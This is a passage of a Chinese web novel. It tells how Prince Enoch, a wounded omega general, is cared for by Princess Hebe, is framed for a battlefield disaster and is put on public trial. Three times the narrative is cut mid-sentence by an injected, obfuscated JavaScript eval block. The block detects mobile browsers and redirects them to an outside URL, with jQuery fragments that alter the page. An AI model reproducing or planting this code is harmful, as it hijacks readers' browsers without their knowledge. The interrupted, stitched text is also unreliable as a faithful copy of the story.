赫柏把椅子搬到他身边,吃相很像一只小仓鼠,快速夹菜,小口小口地吞咽,脸上映照着电视屏幕的蓝光,长发束在脑后,只有略短的一缕垂在脸颊旁,骨相柔和的脸上,轮番呈现被电视节目牵引的各种喜怒哀乐。 以诺自认为戒掉了很多情感需求,但他没办法否认,他喜欢这样的时刻。 有人陪在身边,不必说话,只是简简单单地坐在一起用餐,已经心下满足。 吃完饭,赫柏说要再陪他看一会儿电视,很快人就睡着了,两张椅子并排着靠近,她往他肩上倒。 以诺在她倒下去的前一秒把她的脸扶好,毛茸茸的脑袋按在肩上,她在宽大的椅子上蜷缩双腿,毛衣底下的双手虚虚握住他的手臂,非常依赖信任的姿态,在睡梦中砸吧了两下嘴巴。 肢体接触所带来的温暖,是任何虚拟交际方式难以比拟的,遑论小公主的体温很高,像只呼呼冒着热气的小火炉。 以诺看着电视里的名人倒数迎接新年,和窗外万家灯火的快乐同频,默默想着,等倒计时结束吧,他再叫醒赫柏。 公主殿下肉眼可见地缺少睡眠,每次到他面前,总是强打精神,以诺不知道应该怎么劝她多休息。为了叫她好好睡一觉,这一小段时间的僭越是可以接受的。 赫柏的发质粗硬,一些头顶的碎发刺挠他的脸,小爪子似的,以诺看过去,只看见两排小刷子似的睫毛,覆盖在饱满的脸颊上,一侧脸颊蹭着他的白袍,他开始担心有些粗麻的衣袍材质,会刮伤她的脸。 “五,四,三,二,一!新年快乐!” 外头的烟花让整个天空亮如白昼,人声喧哗,赫柏微微皱眉,被惊扰了睡眠。 以诺捂住她的一侧耳朵,直到她的眉心重新变平整。 “殿下,夜深了,您还不休息……”亚瑟在隔壁的小房间,一直没听到以诺的传唤,过来变看到这一幕,赫柏公主抱着以诺亲王的手臂睡得正香。 已经凌晨一点了啊,平时的以诺亲王早就进入了睡眠,现在的他明显困得不行了,却任由赫柏公主在他肩上靠着,纹丝不动。 以诺亲王轻“嘘”了声,亚瑟收到讯息,放轻手脚过来扶起赫柏殿下。 赫柏刚离开以诺就清醒了,睁开满是睡意的,水光莹润的双眼,睡得双颊泛红,面色有些懵然,手握成拳头揉了揉眼。 以诺握住她的手腕把手拉开,“不要用手揉眼睛,已经很晚了,回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15078900|163450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你的房间吧。” 赫柏点头,拒绝亚瑟的搀扶,自己站起来,拾起自己搭在椅背上的外套,游魂似的往门口走,到了门边忽然惊醒,折返回来,在以诺面前鞠了一躬。 “亲王殿下,我先走了,您好好休息。” 以诺看着她上下眼皮黏在一起,明显不清醒,却还是记得请安才离开的模样,终于忍不住笑出声,“走吧。” “以诺亲王,新年快乐。”赫柏揉揉野草似的乱发,离开房间。 亚瑟站在房间里,犹豫再三还是劝说:“殿下,您应该和公主殿下保持距离。” 以诺的笑意像烟花散尽的夜空一样寂寥,“在我眼里,她只是个孩子,她和你,是一样的,亚瑟。” 亚瑟确信这番话是真的,以诺亲王这样的圣父性格,如果今天躺在他手边睡着的是他,他也一定会强撑着不动,等他醒来,如果他有机会割肉喂鹰,以身饲犬,他会那么做的。 他讨厌这样的人,这样伟大、光明、正义,像太阳一样,明晃晃地照耀出每个人心里的黑暗之处,站在这样的人身边,让他自惭形秽。 以诺对亚瑟微笑:“如果你对公主有意,可以尽早表明心意,我相信她是个好孩子,如果她也喜欢你,一定会好好对待你。” 亚瑟脸红了,没想到以诺亲王这么坦诚,撇开眼睛,“我扶您去洗漱歇息吧,夜深了。”略过关于公主的话题。 脱去衣衫的以诺充满神性,比拟古希腊大理石雕塑的优美躯体,布满一道道新旧的伤疤,像是天神为罪恶累累的世人受难的证据。他在皇宫里好好养了几个月,皮肤呈现冷玉的光泽,在暗夜里幽幽生光。 可能这样的人,注定要到人间受难,早年被塞克公主抛弃,受尽世人嘲笑,后来顶着所有人的冷眼做了上将,却在战争中差点死掉,做了三次凶险的手术,勉强保住一条命,可是医生说,他的脊柱受伤严重,很可能一辈子都站不起来。 亚瑟屏住呼吸,用热水为以诺亲王冲洗身体,尽管和他是完全意义上的同性,而且侍奉了多次,还是会被他美得很有冲击力的身体震撼。 这么美丽的身体,从来不见天日,亚瑟看过一些以诺的照片,在军营里一年四季穿着军装,现在,不是从头盖到脚踝的白袍,就是一丝不苟的衬衫长裤。 早就过了以诺休息的时间,他在温暖的水雾中,渐渐歪倒在轮椅上睡着了,他平时不会在洗漱时睡着,因为不忍心太麻烦别人,凡是他自己能做的,都会自己去做。 亚瑟放轻了动作,看着以诺安详的脸,心情十分复杂。 如果他有一张这样的脸,就算残疾了,一定会想方设法攀上一个贵族女a,给自己的下半生找个依靠。 才不会像他这样每天和熏香书籍作伴,忍受着病痛,过苦行僧似的生活。 但亚瑟同时自嘲地笑了笑,就算以诺亲王不争不抢,还是让莉莉丝小姐有意求娶,听说还有几个家族的alpha小姐对他有意,只是他自己不愿意罢了。 他这样的人,无论如何也轮不到他来可怜。 5. 第 5 章 帝国军队,最高机密级别、拥有最强力量的机甲军由以诺一手组建,但在一个月前,和加里南帝国的那场大战中损失惨重,数以万计的机甲军舰被毁坏成烂泥,急需要重新训练士兵,采购新的军舰,恢复兵力。 现在的机甲军首领是以诺多年来的副手,文森,一位力量强大的传统男性alpha。 文森的个子很高,赫柏走在他身边,只到他的肩膀,要仰头才能看到他的脸,难以想象和她身高差不多的以诺,是如何常年和他一起工作,并且担任他的领导。 他们在一辆埃利森集团最新研发的军舰里面,以诺抬起苍白的手,指指操作面板,大个子文森俯身听他说话,把他推到那儿,为他讲解面版上的新按钮。 “赫柏,你来看看。” 赫柏蹲在以诺身边,看着他的长指抚过几排精致的按钮,告诉她:“这是温感索敌系统,就算在大雨天或是雾天,也能精确瞄准敌人的方向,发起进攻。” “这个技术很厉害吗?” 赫柏扒着轮椅的扶手,下巴搁在手背上,浓密的眼睫眨了几回。 “是最新的技术,两年前完全无法想象,这项技术真的能应用在实践中,埃利森集团的确厉害。”文森在轮椅的另一侧,从上往下看着公主殿下十分可爱的鼓起的脸颊,抢先回答。 人总是很容易对可爱的事物心生亲近,猛a也不例外。 赫柏抬起眼睛对文森笑了笑,“这个技术,很难吗?” 文森:“倒也不难,在城市安全等领域早就投入使用了,只是用在机甲上,需要很大的研发成本和试错成本,据我所知,有几家公司都在研究这个,埃利森集团还是非常厉害的,赶在所有人之前研制了出来。” 赫柏沉思片刻,看向以诺:“那我待会儿,就叫人来把这架机甲抬走了,全都拆了,看看埃利森集团到底有什么厉害的。” 文森捏了一把汗。 小公主的口吻十分孩子气,很大程度上掩饰了她的请求有多过分,跳过所有程序,从军队里直接抬走一架机甲……亏她说得出来。 幸好以诺上将知道分寸,对她轻轻摇头:“赫柏,不可。”赫柏瘪了瘪嘴,倒是没有再强求。 文森松了口气,虽然以诺上将已经离开军队,但在他们心里,永远是尊敬的领袖,如果他开口的话,他们是不会拒绝的。 离开机甲,是以诺熟悉的军营,时隔三个月再次回到这儿,他有很多感触,温柔地请求亚瑟推他在营地里四处走走。 所有经过的人都目露惊讶和欣喜,对他鞠躬。 “以诺上校,您回来了!” “您的身体还好么?是已经接受了三次手术吗?” “我们都很想念您!” 以诺穿着材质极好的纯黑丝质衬衫,矜贵清冷,微笑着,像天边一轮柔亮的月光。 如果不是亲眼所见,赫柏很难相信,那么多的alpha和beta会争先恐后地在omega的轮椅旁边下跪,以诺则拍拍他们的肩膀,叫他们的名字,和他们说几句闲话,说自己很好。 “以诺上校当初援引《帝国宪法公民权力法则第五条》,‘任何帝国公民都有权参军,无论是否弱势性别,只要证明其能够胜任’,要求加入军队,没有人对他服气,可他向所有人证明了,他能够胜任。” 文森和赫柏走在后面,文森看着以诺的背影,满是敬仰:“他是第一位提出要加入军队的omega,力量不够,他就没日没夜,不要命的训练,最终的测试结果,竟然与s级力量的alpha打个平手,达到了留下的最低标准,然后,他展示了天才般的战机操作水准,让所有人心服口服。” “外面传的太难听了,甚至有人闯进军营里叫骂,污蔑上将与军队高层有染,不然身为omega,不可能晋升得那么快,还有人说他进入军队,给整个帝国的omega起了个坏头,扰乱整个帝国的安宁。” “不管外界怎么传闻,以诺上将永远是我们最尊敬的领袖,我做了他的副将很多年,可以作证,他在做人方面真的毫无瑕疵,如果有,那可能是太善良了,为了保护别人不惜伤害自己……他尽力让别人忘记他是一位omega,每到情热期,会把自己锁在操作室里,几天几夜,靠着营养液和抑制剂过活,等他离开时,那操作室里全是血,全是他用指尖抠破的,用身体撞出来的……” 文森,一个浑身肌肉的强悍男a,说起以诺上将在军队的事情,眼中带泪。 他想赫柏公主在以诺上校面前乖巧听话,应该也是深深敬仰着他的,在她面前说这些,是想要得到她的附和和认同。 出乎意料,赫柏公主没有多少触动,冷静地问:“中将,那您是否了解三个月前,我军和加里南帝国的那场大战?” 那场大战……加里南帝国和莱茵帝国是数百年的老对手,十八年前,赫柏公主的父亲罗伊在与加里南帝国的对战中身死,从此结下血海深仇,加里南帝国实力强劲,屡屡挑衅,在三个月前发起大战。 “我们有以诺上将一手训练出来的机甲兵团,是最大的秘密武器,如无意外,应该会大获全胜!但那天,一批机甲在空中忽然出现问题,燃起火焰,上校不得已下达命令,先在两国交界的拉雅山脉降落,可在那里,遇到了埋伏的敌军。” “怎么会突然起火?” “应该是机甲自然老化,为了节省经费,加入了pt5x00润滑剂,这种材料虽然便宜,在高空气压中却容易起火,负责这件事的后勤部长安德鲁已经被抓了,正在等待军事法庭传讯。哎!他害得以诺上校差点失去性命,就应该判他死刑!” “原来如此。” 赫柏的脚步停下,文森顺着她的木阳光看去,一个男孩跑到以诺身边,伏在他怀里痛哭。 “以诺上将,您平安活着,真是太好了,我一直想去看您,但是皇宫戒备森严,我没有资格请求探访,呜呜呜,上校,我真的好想念您。” 文森说:“那是小兵泽维尔,是一位omega——受到以诺上校的感召,加入军队的omega有几十个——三个月前,泽维尔第一次上战场,他当时一条腿被压在废弃的机舱下,以诺上将原本是可以全身而退的,为了救他折返回去,完全暴露在敌人的视野中,才会受那么严重的伤。” 为了救他,吗? 赫柏双臂交叉抱胸,目光沉沉地看着眼前这幕,以诺抱着看起来才十五六岁的男孩,揉着他的头发,轻声哄慰,任由他伏在他的胸膛上,泪水把他的衬衣打湿。 冬天的阳光也这么刺眼,让她的眼眶酸涩,几乎睁不开眼睛。 她永远不会忘记三个月前以诺从战场上,被救回来的模样,躺在医院的病房里,不断涌出的鲜血把床单浸透,身体被炸得破破烂烂,一些地方能看见骨头。 她真的很怕他会死。 可他竟然是为了救这么一个微不足 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15078901|163450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道的男孩,几乎丢掉性命,他怎么可以这样。 “好了,泽维尔,不要再哭了。” 以诺拍拍泽维尔的肩膀,叫他起来,指腹擦掉他的眼睛下的一颗泪:“你不需要这么自责,无论是你,还是任何一个小兵,遇到危险,我一定会竭尽全力保护你们,因为我是你们的上将,这是我的义务。” “上将……” “上战场前,我叫你看的书,都看完了么?” 泽维尔点头,“都看完了的,我还去实际操作了呢,用上书里说的技巧,果然顺利了很多。” “那就好,下次,等我再回来,希望看到你在我面前演示一遍高空翻腾急速俯冲,能做到么?” 泽维尔变成一张苦瓜脸,倒是不再哭了,“保证,保证完成任务!” 以诺看着泽维尔,会想到小时候的他自己,作为第一个加入军队的omega,而且,是皇室寡夫,完全不知道前路面临着什么,只能咬牙坚持跟上所有训练,做到最好,让所有非议的人哑口无言。 至于到了今天,该有的荣誉,他都得到了,军队里众人的尊敬,喜爱,他也全部收入囊中,他会觉得没什么遗憾了,但泽维尔的路还很长,如果用他的性命,换泽维尔充满希望的人生,他觉得很值。 那天回去的路上,以诺的心情很好,主动对赫柏说了几件从前在军营里的趣事,赫柏却兴趣淡淡,“嗯”了几声当作回应。 赫柏变得很安静,双唇紧闭,专注开飞船,她的性格底色本来就是沉静的,只是在以诺面前,会经常说很多话,常常言语稚气,像个小孩子。 很少有贵族会自己开飞船,甚至飞船在售卖时,就会配上一个司机,赫柏是个例外,她喜欢亲历亲为。 以诺坐在她身边,几次被她打方向盘的动作吸引目光。 他对赫柏已经成年这件事没什么实感,直到现在。她笑起来娇气可爱,不笑的时候,尤其是侧脸非常英气,偶尔撩起眼皮看向玻璃外的云层,长腿漫不经心踩下油门,一举一动自然随性洒脱。 “赫柏,你怎么了?” 赫柏握转方向盘,勾唇笑笑:“我在想一件事情,亲王殿下,刚才文森说,三个月前那场大战,伤亡惨重,是因为后勤部长安德鲁错误添加了机甲的润滑剂,我觉得这件事恐怕另有隐情,您认为呢?” 以诺不想回忆战争的场面,太惨烈了,山脉上,到处都是血和残肢,那些画面让他很多次被噩梦惊醒。 他闭上眼:“我不知道,也许是因为他吧,数百架机甲在高空起火,实在蹊跷。” “抱歉,我不是故意勾起您不好的回忆,只是这件事十分重大,提前与您说一声,我会派人去调查事实真相的,”赫柏把飞船稳稳当当地停在草坪上,划起飞船的操作面板,点击一项待办事项,“我替您预约了最有名的外科医生维托克,最近半年他一直在别的帝国游历,时间很难敲定,我联系了他很多次,一个星期后,他会回到莱茵帝国。” “到时候,请您务必与他见上一面。” 她的手指一划,以诺的随身手表“叮铃”一响,一条待办事项出现在他的备忘录里,他下意识按住震动的手表。 这段时间,为了他养伤便利,赫柏把她自己设定为他的监护人。 与稍显强势的举动相对的,是她一如既往的柔和微笑,她侧着身子面对他,目光只落在他的鼻梁上,一副礼貌尊重,耐心等待回应的请求姿态。 6. 第 6 章 以诺躺进扫描仪器里,在赫柏絮絮叨叨的嘱托中闭上鸦羽眼睫,被仪器传送至观察室。 “他的情况怎么样?”赫柏一手撑桌,一手圈着维托克医生的椅背,俯身看向黑白成像的屏幕。 专注认真的程度,像是要记住以诺亲王骨骼的形状。 维托克身为beta男性,笼罩在女alpha的阴影下,很快渗出一身冷汗,她的气息,虽然不像别的alpha那样具有直接的压迫感,却无声凌厉,像深秋覆着冷霜的苍翠柏树,冬日的皑皑雪原,丝丝缕缕地蔓延整个室内,直到局中人回神,已经无可逃避。 他想起刚才,赫柏公主在以诺亲王进仪器前殷殷嘱托,把注意事项翻来覆去说了好几次,直到以诺亲王忍不住打断,说“赫柏,你说了太多遍了,我都会背了。” 在以诺亲王面前的公主殿下,和现在这个无意识对他施压的,压根不是同一个人吧。 更何况——维托克想到他回国后听到的一些传闻,短短两个星期,堪称巨无霸企业、一度影响帝国经济命脉的埃利森集团,从如日中天到濒临倒台,从民众游行,反对其插手军队,到接连爆出集团财务丑闻,股价空前大跌,背后财团纷纷撤资明哲保身。 这背后的最大受益者,就是面前这位看起来人畜无害的赫柏殿下。 他敢打赌,那群老家伙在各自的办公室里气得跳脚,谁也想不到,偷奸耍滑了一辈子,会在一个黄毛丫头这儿马失前蹄。 “怎么不说话,情况很糟糕吗?还有没有可能站起来?” 赫柏没等到答复,手腕一转脚一踢,把转轮座椅转了半面,带着维托克面向她,直接低头看向他的脸。 骤然撞进那双深黑的眼睛,年轻的外科医生逐渐头脸发热,故意推推鼻梁上的金丝眼镜,目光移回电脑屏幕。 “殿下,你离我太近了,您身上的气息,连beta也会察觉得到,对我的工作造成了一些困扰。” “抱歉。” 赫柏收敛周身气息,踢一脚座椅把维托克转回去,人也从他身后离开,双手交扣在腹部,端正规矩地站着。 她的确不应该失态,皆因太担心以诺,而且,维托克是她熟识的学长,在他面前下意识松懈了。 公主殿下的气息瞬间淡去,像一阵过境的冷风,从窗缝溜走了,除了给人心底送去的寒意什么都没留下。维托克呼了口气,看着扫描成片,点击放大,“情况有些糟糕,亲王的髋骨被炸碎了,只有一些神经连着,所以动不了,却会感到痛,你看这骨头,碎的很规整。” “所以呢?” 他双眼发亮,是医痴见到有挑战性的疑难杂症所冒出的闪光,“我会可以尽力一试,为亲王做更换髋骨手术,但是,换下来的骨头能让我收藏起来吗,我会很珍惜的。” 不可以。赫柏再度俯身,笑意比月色更温柔:“你的意思是,更换手术最坏的结果只是失败,绝对不会伤及亲王的性命,对吗?” “是。”虽然没有了阴寒的气息,维托克却像被吐着蛇信的毒蛇盯上,下意识应承,不敢再说收藏骨头的事。 “什么时候可以安排手术?”赫柏问。 “半个月之内吧,给我一些时间收集几个亲王关键的身体数据,但是,他被你照顾得很好,我想那些数据都是合格的。” “太早了。”赫柏在维托克惊讶的注视里沉声请求,“帮我个忙,至少拖到一个月后。” 以诺的手术定在一个月后,这个月里,他住在首都医院最高级别私密病房,遵照医嘱改变饮食,疗养身体。 来来往往的只有医护人员,没人和他闲谈,好在他喜欢安静,只要有书就可以了,每天看书,时间过得很快。 直到某天黄昏,坐在轮椅上,就着橙黄的日光余照合上书本,他才忽然惊觉,已经好几天没见过赫柏,自从送他进医院那天,赫柏跪在他的轮椅边叮嘱:“亲王殿下,请您好好休息,听医生的话,做完手术,一定可以站起来的,我向您保证。”然后她就消失了。 再没有来探望过他,也没有通过通讯设备传来一条信息。 这是应该的,赫柏有自己的事情要做,有很多人要见,她是一位初出茅庐的政坛新秀,不可能整日围着一位残疾的长辈打转。 以诺试着给妹妹安妮塔留言,说自己准备接受第四次手术,得到的只有冰冷的回复“知道了,祝一切顺利。”他以omega和皇室寡夫的身份要求加入军队,就像触犯了天条,有损贵族和皇室的颜面,所以在他受伤后,来探望的人寥寥无几。 只有赫柏,在跟前殷切侍奉,他知道,身边的一切都由赫柏安排,所有医护人员,所有饮食起居,无微不至,他心中感恩。 “亲王殿下。”亚瑟进入房间,从城堡里带来几件他常穿的衣物,望着安静坐在轮椅上,抚摸书本扉页的以诺亲王,想到这些日子外面传的沸沸扬扬的,以诺亲王叛变的消息,心底很不是滋味。 他这样软弱善良,怎么可能叛变自己的帝国,可是,军队的后勤部长安德鲁,在军事法庭上当场翻供,指出他是受了以诺的指示,才添加了错误的机甲润滑剂,加里南帝国的路易斯王子,带来一封秘密书信,指出以诺与加里南帝国的皇帝曾经有过数封通信,主动提出里应外合,摧毁莱茵帝国最强大的军事力量。 军事法庭已经传令,要以诺亲王出席三天后的臣民公审,赫柏殿下写信给莱纳大法官,附上以诺的病例和维托克医生陈述他此时的身体条件,不适宜出席公审的证明,把审讯推延到一个月后。 “亚瑟,辛苦你了。”以诺把书本平整地放在床头柜上,双手接过包裹,扬起平和的微笑,“公主殿下一切都好么?” 公主殿下,非常忙碌,在得知他要来医院探访时,还是亲自来见了他,双手合十请求:“外界的事情,请你先不要告诉以诺叔叔,等他安心做完手术再说,可以吗?” 亚瑟很荣幸他能帮到赫柏公主,对以诺点头说:“赫柏殿下一切都好,她请您安心做完手术,不要挂念,外界的事情。” “这样就好。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15078902|163450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >以诺做手术那天,赫柏还是没出现,他有点紧张,在穿着纯白病服进手术室之前,屡次点开通讯设备,看到的只有空空如也的留言面板。 他之前做了三次手术,都有赫柏在身边陪着,闭上眼睛,她的声音就在耳边。 “亲王殿下,您安心进去吧,我就在门外候着,等您睁开眼睛,第一眼就能看见我。” “不会疼的,您别害怕,就像睡觉一样,眼睛一闭,一睁,手术就做完了。” “您一定会平安活着,长命百岁,我保证,您一定会重新站起来的,终有一日,您能够亲自驾驶飞船,自由自在的,飞翔在布满星辰的夜空里,您还能回到您热爱的军队,我向您保证。” 四周澄明的手术灯打开,以诺躺在手术台上,身体因手臂注入的麻药而变得轻盈,他想象着赫柏环绕在耳边的,带着哭腔却无比坚韧的声音,逐渐合起双眼失去意识。 像是只过了一秒钟,又像过了亿万年,意识逐渐清醒时,他的脑海里涌进很多梦境,小时候和安妮塔一起在庄园的野草堆里打滚,喂马,追赶山羊,后来梦境突然变成了,年轻的他穿一身纯白的传统礼服,手持捧花,站在教堂巨大的十字架下,捧着神圣的结婚誓言,等来了他的未婚妻子,塞克公主车祸身亡的消息,然后他生活在皇宫城堡里,住在塞克公主的房间,被称为皇室寡夫,原本的家族不会再收留一个嫁出去的omega,皇宫也不是他的家。 深夜坐在城堡的窗台上,看着无垠的夜空,他想到了学校的战斗训练课,驾驶机甲升入天空,那么自由,广袤的世界在他脚下徐徐铺展,他总能在那门课上拿到最好的成绩。当时十五岁的他第一次产生叛逆的想法,他不愿意一辈子困在皇宫里,最好的结局,就是等过几年人们都忘了那件丑闻,另找一位贵族女alpha改嫁。 “为什么不可以呢?” “您想要做什么,那就去做啊,除了您以外,没有一个人叫做‘以诺’,也没有一个人,过着‘以诺’的人生。” “您担心我的皇爷爷反对?”早慧的赫柏公主皱起眉头,站着只比栏杆高上一点点,用手指戳戳脸颊,“那您先不说也可以吧,反正,我以后是一定会做皇帝的,到时候,您想做什么,我都允许。” 赫柏显然还不能理解他想要做什么,因为他真的要走那天,她哭得两只眼睛肿成核桃,抱着他的腿问:“您是不是会在战场上,再也不会回来了?” 他说还会回来,但是下一次见面是什么时候,会在哪里,他不知道。 他抱起哭成泪人的赫柏,无比耐心地哄她,在心里感谢她,给了他很多鼓励,让他迈出那一步。 获得全新的人生。 “以诺亲王是做完了手术,但身体非常虚弱,你们起码要给他三天的休息时间!”成年赫柏的声音,若有若无,隔了一道墙传进以诺的耳中。 以诺睁眼看见熟悉的病房,病房外十分嘈杂。 “公主殿下,抱歉,我们奉皇帝陛下之命,今天必须捉拿以诺亲王归案,请您让路。” 7. 第 7 章 发生了什么事吗? 以诺想要起身,只感到身体剧痛,比在战场上受到轰炸后,浑身骨头碎裂的疼痛有过之而无不及,让他立即冷汗湿透衣衫,几乎痛到晕厥。 病房外争论的声音更高亢:“公主殿下,请您让开,不要妨碍我们的工作。” 以诺抬起唯一能动的,插着很多针管的手臂,连接身体数据的手表在手术后强制重启,涌进无数条信息。 “以诺亲王叛变案即日开庭,据悉出席证人有军队高层人士……”星际日报头条。 “上将,您还好么,我们听到消息都很担心您,没有人相信您会叛变,我们会永远站在您身后的!”军队从前的下属。 “以诺,真是该死,赫柏那丫头把你藏到哪儿了!现在全世界都是你叛变的消息,你现在答应嫁给我,我为你找最好的律师,我还可以向我爸爸跪地请求,求他放过你,以诺,你没有别的选择了,只有我能救你。”来自莉莉丝。 这一个月来所有的信息,都被监护人系统拦截在外,以诺用语音唤出联系人“安妮塔”的界面,看见安妮塔给他发过三条信息。 “哥哥,你疑似叛变的消息传出,对家族的声誉有很大影响。” “我希望你能在出席军事法庭审判之前,向媒体提出,正式和斯宾塞家族脱离关系。” 他给安妮塔发了自己要做手术的信息后,她回复,“知道了,祝一切顺利。希望你认真考虑我的话,哥哥。”他收到的只有这条消息的前半截。 是谁拦截信息,捂住他的耳朵,不让他听见外界的任何流言,不言而喻。 “啪——”房间外一个清脆的巴掌声。 “谁允许你们在我面前大呼小叫,今天谁敢闯进这道门试试,我把话放在这,我绝不会让他活着走出这栋楼!” 外面安静了,过了几分钟房门打开,年轻的女alpha在看到以诺醒来时有一瞬间的诧异,很快恢复如常,扬起笑容走来:“亲王殿下,您醒了,手术很成功,再修养几个月,您就可以走路了。” “赫柏……” 以诺开口的同时,一行眼泪从眼角滑落,渗入浅金的鬓发中,美丽的眼睛盈满泪水,碧蓝瞳孔像破碎的琉璃,无声地传递哀伤。 赫柏从他起伏的胸膛,插满管子的手臂,看向他右手腕的手表,立定许久,似抽气似叹息: “您都知道了啊?” 以诺泣不成声,他连手腕也无力提起了,只能尽力转动眼珠子,望向赫柏,透过朦胧的泪眼看着女孩朝自己走来,柔韧温暖的指腹抚过他的脸,抹去一片眼泪,一触即离。 她俯着身子,高马尾从肩旁垂落,几缕发梢刺在他的脸上,久久不愿离去。 她用目光描摹他的脸,传来像大雪的冬日壁炉乌木沉沉燃烧一样炙烈沉稳的暖意,“您放心,我会处理好这件事的,不会让您受到一点伤害。” “我向您保证。” 三天后,以诺出席军事法庭审讯,全体帝国子民的目光,所有媒体的长枪短炮都对准他,想知道这位极富传奇色彩的omega,是不是真的背叛了他的帝国。 大门打开时所有人忘记呼吸,偌大的环形会场针落可闻。 以诺亲王,是穿着符合仪制的贵族礼服,躺在医院简易病床改成的担架上,被抬进来的。 医护人员把他抬到被告席,席间座位太小,他被放在席前的一片空地上,折叠床的靠背升起来一些,让他勉强算是坐着。 这副画面极有冲击力,以诺亲王出身显赫,从小在出现在公众面前便是一丝不苟,儒雅从容的形象,之后无论是未婚妻塞克公主在婚礼当天死去,还是他在军营里被不怀好意的媒体堵截,无论什么情形下,他始终衣装整齐,不见一丝狼狈之态。 即便整个帝国都知道他受了重伤,谁也想象不到,他只能躺在担架上被抬进会场。 “我已经准备好了,法官大人,请开始吧。” 以诺苍白的双手覆上腹部,费力地对众人轻点下巴问安,明澈的眼睛看向高台之上的莱纳法官。 证人被接连通传上前,军队后勤部长安德鲁,哽着粗红的脖子高声陈述,他是受了以诺上将的指示,为军舰加入错误的润滑剂,导致大批军舰在战场上起火,“我们本来一定可以在那场战争中大获全胜!但因为以诺上将的错误指示,大批士兵在战场中牺牲,耗费大量帝国财力的机甲兵团全军覆没!” 接着是来自加里南帝国的路易斯皇子,经过那场大战,加里南帝国元气大伤,皇帝把路易斯皇子作为人质送来求和,附上一封以诺的亲笔书信。小皇子顶着一头棕红的头发义愤填膺,“以诺是个坏人,他想毁掉自己的国家,主动写信给母皇,提出要在大战时里应外合,让我国的军队长驱直入。” 小皇子稚嫩的声音回荡在会场中,让所有旁观的民众陷入沉思,如果说安德鲁的证词可信度不高,来自敌国的皇子,总不至于千里迢迢来诬陷以诺。 难道以诺亲王,真的背叛了莱茵帝国吗? 坐在第一排观众席的辅政大臣尤利斯,和皇帝的私生子安帕等人露出了胜利的微笑,爱慕着以诺的莉莉丝则手握成拳头,暗自为他紧张。 这是一场来自皇室和贵族的共谋。 军舰失火的真相,再查下去,会扯出数不清的利益勾连,他们最希望以诺死在战场上,或者在手术后因为并发症死去,现在他们等不及了,推动了这样一场全民公审。 牺牲一位不服管教的omega,掩盖贵族和皇室通过军队贪腐的真相。 以诺逃不过去,莉莉丝现在只希望落在他头上的不要是死刑,终生监禁也好,断手断脚也好,她都会继续爱他,只要他还活着,她一定会请求父亲把他救出去,藏起来。 “我没有做过。” 以诺的声音与他的处境相比显得过分冷静,“以上对我的指控,我全部否认。” 他并不软弱,除了知道真相的一瞬间心灰意冷,很快平静地接受了这一事实。 赫柏跪在病床旁,握住他的手请求:“您在法庭上,只要说您没有做过就好,其他的一切,交给我,请您答应我,千万,千万不要为那些不值得的人难过。” 他清楚人性的黑暗面,只是主动选择了面对阳光。以诺的长睫垂下,遮住泛红的眼尾,心想他不会难过,即便到了这个时候,他的身边还有赫柏,为了赫柏,他不应该难过。 辩方律师是赫柏请来的一位alpha女性,与控方那位大腹便便的中年律师相比,显得年轻且经验不足,但她一开口就把所有人震慑住。 “我 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“那是一场必胜的战役,为了与加里南帝国终极一战,莱茵帝国的臣民付出了多少财物,多少年轻人感应号召主动上了战场,只为见证帝国的荣誉,全是因为你们!你们这些帝国的害虫,让我军损失惨重,虽胜犹败,让以诺上将花费数年操练起来的机甲兵团毁于一旦,让一千三百六十五户人家,再也等不到他们远行的孩子!” “你们害怕承担责任,竟然编出以诺上将叛国的罪名,以为把罪状全都推到他身上,你们就能全身而退了么?不,善恶终有报,你们的罪行,终有昭彰于世的一天!” 满座震惊,交头接耳,年轻律师梅根的话音被电视实时转播到帝国的千家万户,掀起举国民众沸腾。 须发皆白的大臣尤利斯再也把顾不上旁听礼仪,站起来指着梅根大吼大叫:“你竟敢诽谤我,我一定会让你锒铛入狱!我要让你声名狼藉!” 莱纳法官敲响法槌:“肃静!” 现场已经变得很混乱,法官迅速推进流程,问控方律师还没有其他证人。 赫柏公主坐在最远处的角落里,戴着帽子和墨镜,风衣外套裹得严实,安静地看着眼前戏剧演出来到如她所料的情节。 她眼前的世界一片黑色,只有以诺的身影在发光,她已经掌控了全局,唯独担心以诺会伤心难过,目前看来,他的情绪还好。 有点长的金发遮住大半眼神光,从她的角度只能看见他高挺的鼻梁,平直的嘴唇,完美的下颌线,还有十分圆润可爱的耳朵,在每个人说话时,他的耳朵会稍微动一动,表示他在认真地聆听,有时候他会做出轻咳的动作,点点下巴抿紧嘴唇,她猜他是想要收一收因为仰躺的姿势而造成的双下巴,毕竟有台摄像机以不太友好的角度对着他的脸。 